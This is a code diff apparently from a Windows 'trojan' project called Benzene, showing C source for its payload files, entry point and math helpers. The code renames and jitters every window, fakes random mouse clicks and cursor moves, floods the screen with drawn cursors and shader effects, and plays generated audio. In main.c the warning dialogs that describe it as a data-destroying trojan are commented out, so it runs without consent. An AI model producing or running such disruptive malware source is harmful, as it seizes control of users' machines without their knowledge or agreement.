64
+ bmi.bmiHeader.biHeight = h;
65
+
66
+ hHeap = GetProcessHeap( );
67
+ prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
68
+
69
+ hdcMsgBox = GetDC( hwndMsgBox );
70
+ hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
71
+ hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
72
+ SelectObject( hdcTempMsgBox, hbmMsgBox );
73
+
74
+ for ( ;; )
75
+ {
76
+ for ( INT32 i = 0; i < w * h; i++ )
77
+ {
78
+ prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
79
+ }
80
+
81
+ BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
82
+ EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
83
+ Sleep( 10 );
84
+ }
85
+ }
86
+
87
+ LRESULT
88
+ CALLBACK
89
+ MsgBoxHookProc(
90
+ _In_ INT nCode,
91
+ _In_ WPARAM wParam,
92
+ _In_ LPARAM lParam
93
+ )
94
+ {
95
+ HWND hwndMsgBox;
96
+
97
+ if ( nCode == HCBT_ACTIVATE )
98
+ {
99
+ hwndMsgBox = ( HWND )wParam;
100
+
101
+ ShowWindow( hwndMsgBox, SW_SHOW );
102
+
103
+ EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
104
+ CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
105
+
106
+ return 0;
107
+ }
108
+
109
+ return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
110
+ }
111
+
112
+ VOID
113
+ WINAPI
114
+ MessageBoxThread( VOID )
115
+ {
116
+ hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
117
+ MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
118
+ UnhookWindowsHookEx( hMsgHook );
119
+ }
120
+
121
+ BOOL
122
+ CALLBACK
123
+ GlobalWndProc(
124
+ _In_ HWND hwnd,
125
+ _In_ LPARAM lParam
126
+ )
127
+ {
128
+ BOOL bParent;
129
+ HDC hdc;
130
+ RECT rcOriginal;
131
+ RECT rc;
132
+ INT w;
133
+ INT h;
134
+
135
+ Sleep( 10 );
136
+
137
+ WCHAR szWndText[ 256 ];
138
+ for ( INT i = 0; i < 256; i++ )
139
+ {
140
+ szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
141
+ }
142
+
143
+ SetWindowTextW( hwnd, szWndText );
144
+
145
+ GetWindowRect( hwnd, &rcOriginal );
146
+
147
+ rc = rcOriginal;
148
+
149
+ rc.left += Xorshift32( ) % 3 - 1;
150
+ rc.top += Xorshift32( ) % 3 - 1;
151
+ rc.right += Xorshift32( ) % 3 - 1;
152
+ rc.bottom += Xorshift32( ) % 3 - 1;
153
+
154
+ w = rc.right - rc.left;
155
+ h = rc.bottom - rc.top;
156
+
157
+ MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
158
+
159
+ hdc = GetDC( hwnd );
160
+
161
+ if ( Xorshift32( ) % 2 )
162
+ {
163
+ BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
164
+ }
165
+ else
166
+ {
167
+ w = rcOriginal.right - rcOriginal.left;
168
+ h = rcOriginal.bottom - rcOriginal.top;
169
+ StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
170
+ rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
171
+ ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
172
+ }
173
+
174
+ ReleaseDC( hwnd, hdc );
175
+
176
+ bParent = ( BOOL )lParam;
177
+
178
+ if ( bParent )
179
+ {
180
+ EnumChildWindows( hwnd, GlobalWndProc, FALSE );
181
+ }
182
+
183
+ return TRUE;
184
+ }
185
+
186
+ VOID
187
+ WINAPI
188
+ EnumGlobalWnd( VOID )
189
+ {
190
+ for ( ;; )
191
+ {
192
+ EnumWindows( GlobalWndProc, TRUE );
193
+ }
194
+ }
195
+
196
+ VOID
197
+ WINAPI
198
+ CursorClicker( VOID )
199
+ {
200
+ INT ppdwClickEvents[ 2 ][ 2 ] = {
201
+ { MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
202
+ { MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
203
+ };
204
+
205
+ for ( ;; )
206
+ {
207
+ INT nIndex = Xorshift32( ) % 2;
208
+
209
+ mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
210
+ Sleep( Xorshift32( ) % 51 + 50 );
211
+
212
+ mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
213
+ Sleep( Xorshift32( ) % 51 + 50 );
214
+ }
215
+ }
216
+
217
+ VOID
218
+ WINAPI
219
+ CursorMess( VOID )
220
+ {
221
+ for ( ;; )
222
+ {
223
+ SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
224
+ Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
225
+ Sleep( 1000 );
226
+ }
227
+ }
228
+
229
+ VOID
230
+ WINAPI
231
+ CursorDraw( VOID )
232
+ {
233
+ CURSORINFO curInf = { sizeof( CURSORINFO ) };
234
+
235
+ for ( ;; )
236
+ {
237
+ GetCursorInfo( &curInf );
238
+
239
+ for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
240
+ {
241
+ DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
242
+ Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
243
+ }
244
+ DestroyCursor( curInf.hCursor );
245
+ Sleep( Xorshift32( ) % 11 );
246
+ }
247
+ }
src/Benzene-main/Clean/Benzene/extra_payloads.h ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ VOID
5
+ GetRandomPath(
6
+ _Inout_ PWSTR szRandom,
7
+ _In_ INT nLength
8
+ );
9
+
10
+ VOID
11
+ WINAPI
12
+ MessageBoxThread( VOID );
13
+
14
+ VOID
15
+ WINAPI
16
+ EnumGlobalWnd( VOID );
17
+
18
+ VOID
19
+ WINAPI
20
+ CursorClicker( VOID );
21
+
22
+ VOID
23
+ WINAPI
24
+ CursorMess( VOID );
25
+
26
+ VOID
27
+ WINAPI
28
+ CursorDraw( VOID );
src/Benzene-main/Clean/Benzene/main.c ADDED
@@ -0,0 +1,137 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ #pragma region Public Variables
4
+ HWND hwndDesktop;
5
+ HDC hdcDesktop;
6
+ RECT rcScrBounds;
7
+ HHOOK hMsgHook;
8
+ INT nCounter = 0;
9
+ #pragma endregion Public Variables
10
+
11
+ VOID
12
+ WINAPI
13
+ Initialize(VOID)
14
+ {
15
+ HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
16
+ BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
17
+ if (SetProcessDPIAware)
18
+ SetProcessDPIAware();
19
+ FreeLibrary(hModUser32);
20
+
21
+ hwndDesktop = HWND_DESKTOP;
22
+ hdcDesktop = GetDC(hwndDesktop);
23
+
24
+ SeedXorshift32((DWORD)__rdtsc());
25
+ InitializeSine();
26
+ EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
27
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
28
+ }
29
+
30
+ INT
31
+ WINAPI
32
+ wWinMain(
33
+ _In_ HINSTANCE hInstance,
34
+ _In_opt_ HINSTANCE hPrevInstance,
35
+ _In_ PWSTR pszCmdLine,
36
+ _In_ INT nShowCmd
37
+ )
38
+ {
39
+ UNREFERENCED_PARAMETER(hInstance);
40
+ UNREFERENCED_PARAMETER(hPrevInstance);
41
+ UNREFERENCED_PARAMETER(pszCmdLine);
42
+ UNREFERENCED_PARAMETER(nShowCmd);
43
+
44
+ HANDLE hCursorDraw, hAudioThread, hGdiThread;
45
+
46
+ Initialize();
47
+
48
+
49
+ //if (MessageBoxW(NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
50
+ // return FALSE;
51
+ //if (MessageBoxW(NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
52
+ // return FALSE;
53
+
54
+ Sleep(5000);
55
+ //CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
56
+ Sleep(1000);
57
+
58
+
59
+ hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
60
+
61
+ CreateMutexW(NULL, TRUE, L"Benzene.exe");
62
+
63
+ pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1, NULL, NULL };
64
+ pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence2, NULL, NULL };
65
+ pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence3, NULL, NULL };
66
+ pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4, NULL, NULL };
67
+ pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence5, NULL, NULL };
68
+ pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence6, NULL, NULL };
69
+ pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7, NULL, NULL };
70
+ pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8, NULL, NULL };
71
+ pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9, NULL, NULL };
72
+ pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence10, NULL, NULL };
73
+ pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence11, NULL, NULL };
74
+ pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence12, NULL, NULL };
75
+ pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
76
+ pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
77
+ pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
78
+ pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
79
+ pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
80
+ pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
81
+ pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
82
+
83
+
84
+ pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1, NULL, PostGdiShader1 };
85
+ pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2, NULL, PostGdiShader2 };
86
+ pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3, NULL, PostGdiShader3 };
87
+ pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4, NULL, PostGdiShader2 };
88
+ pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5, NULL, PostGdiShader4 };
89
+ pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6, NULL, PostGdiShader2 };
90
+ pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7, NULL, PostGdiShader5 };
91
+ pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8, PreGdiShader1, PostGdiShader6 };
92
+ pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9, NULL, NULL };
93
+ pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL, NULL };
94
+ pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL, NULL };
95
+ pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL, NULL };
96
+ pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL, NULL };
97
+ pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL, PostGdiShader2 };
98
+ pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL, NULL };
99
+ pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL, NULL };
100
+ pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL, NULL };
101
+ pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL, NULL };
102
+ pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL, NULL };
103
+ pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL, PostGdiShader2 };
104
+ pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL, PostGdiShader2 };
105
+ pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL, PostGdiShader3 };
106
+ pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
107
+ pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
108
+ pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
109
+
110
+ hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
111
+
112
+ for (;; )
113
+ {
114
+ hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
115
+ WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
116
+ CloseHandle(hGdiThread);
117
+
118
+ if (nCounter >= ((240 * 1000) / TIMER_DELAY))
119
+ {
120
+ break;
121
+ }
122
+ }
123
+
124
+ TerminateThread(hAudioThread, 0);
125
+ CloseHandle(hAudioThread);
126
+
127
+ TerminateThread(hCursorDraw, 0);
128
+ CloseHandle(hCursorDraw);
129
+
130
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
131
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
132
+
133
+ for (;; )
134
+ {
135
+ ExitProcess(0);
136
+ }
137
+ }
src/Benzene-main/Clean/Benzene/math.c ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ DWORD xs;
4
+ static FLOAT pfSinVals[ 4096 ];
5
+
6
+ VOID
7
+ SeedXorshift32(
8
+ _In_ DWORD dwSeed
9
+ )
10
+ {
11
+ xs = dwSeed;
12
+ }
13
+
14
+ DWORD
15
+ Xorshift32( VOID )
16
+ {
17
+ xs ^= xs << 13;
18
+ xs ^= xs >> 17;
19
+ xs ^= xs << 5;
20
+ return xs;
21
+ }
22
+
23
+ VOID
24
+ Reflect2D(
25
+ _Inout_ PINT x,
26
+ _Inout_ PINT y,
27
+ _In_ INT w,
28
+ _In_ INT h
29
+ )
30
+ {
31
+ #define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
32
+ *x = FUNCTION( *x, w - 1 );
33
+ *y = FUNCTION( *y, h - 1 );
34
+ #undef FUNCTION
35
+ }
36
+
37
+ FLOAT
38
+ FastSine(
39
+ _In_ FLOAT f
40
+ )
41
+ {
42
+ INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
43
+ return pfSinVals[ i % _countof( pfSinVals ) ];
44
+ }
45
+
46
+ FLOAT
47
+ FastCosine(
48
+ _In_ FLOAT f
49
+ )
50
+ {
51
+ return FastSine( f + PI / 2.f );
52
+ }
53
+
54
+ VOID
55
+ InitializeSine( VOID )
56
+ {
57
+ for ( INT i = 0; i < _countof( pfSinVals ); i++ )
58
+ pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
59
+ }
src/Benzene-main/Clean/Benzene/math.h ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ #define PI 3.141592f
5
+
6
+ VOID
7
+ SeedXorshift32(
8
+ _In_ DWORD dwSeed
9
+ );
10
+
11
+ DWORD
12
+ Xorshift32( VOID );
13
+
14
+ VOID
15
+ Reflect2D(
16
+ _Inout_ PINT x,
17
+ _Inout_ PINT y,
18
+ _In_ INT w,
19
+ _In_ INT h
20
+ );
21
+
22
+ VOID
23
+ InitializeSine( VOID );
24
+
25
+ FLOAT
26
+ FastSine(
27
+ _In_ FLOAT f
28
+ );
29
+
30
+ FLOAT
31
+ FastCosine(
32
+ _In_ FLOAT f
33
+ );
src/Benzene-main/Clean/Benzene/payloads.c ADDED
@@ -0,0 +1,1918 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ WINAPI
5
+ AudioPayloadThread(VOID)
6
+ {
7
+ for (;; )
8
+ {
9
+ INT piOrder[SYNTH_LENGTH];
10
+ INT nRandIndex;
11
+ INT nNumber;
12
+
13
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
14
+ {
15
+ piOrder[i] = i;
16
+ }
17
+
18
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
19
+ {
20
+ nRandIndex = Xorshift32() % 18;
21
+ nNumber = piOrder[nRandIndex];
22
+ piOrder[nRandIndex] = piOrder[i];
23
+ piOrder[i] = nNumber;
24
+ }
25
+
26
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
27
+ {
28
+ ExecuteAudioSequence(
29
+ pAudioSequences[i].nSamplesPerSec,
30
+ pAudioSequences[i].nSampleCount,
31
+ pAudioSequences[i].pAudioSequence,
32
+ pAudioSequences[i].pPreAudioOp,
33
+ pAudioSequences[i].pPostAudioOp);
34
+ }
35
+ }
36
+ }
37
+
38
+ VOID
39
+ WINAPI
40
+ AudioSequenceThread(
41
+ _In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
42
+ )
43
+ {
44
+ ExecuteAudioSequence(
45
+ pAudioParams->nSamplesPerSec,
46
+ pAudioParams->nSampleCount,
47
+ pAudioParams->pAudioSequence,
48
+ pAudioParams->pPreAudioOp,
49
+ pAudioParams->pPostAudioOp);
50
+ }
51
+
52
+ VOID
53
+ WINAPI
54
+ ExecuteAudioSequence(
55
+ _In_ INT nSamplesPerSec,
56
+ _In_ INT nSampleCount,
57
+ _In_ AUDIO_SEQUENCE pAudioSequence,
58
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
59
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
60
+ )
61
+ {
62
+ HANDLE hHeap = GetProcessHeap();
63
+ PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
64
+ WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
65
+ WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
66
+ HWAVEOUT hWaveOut;
67
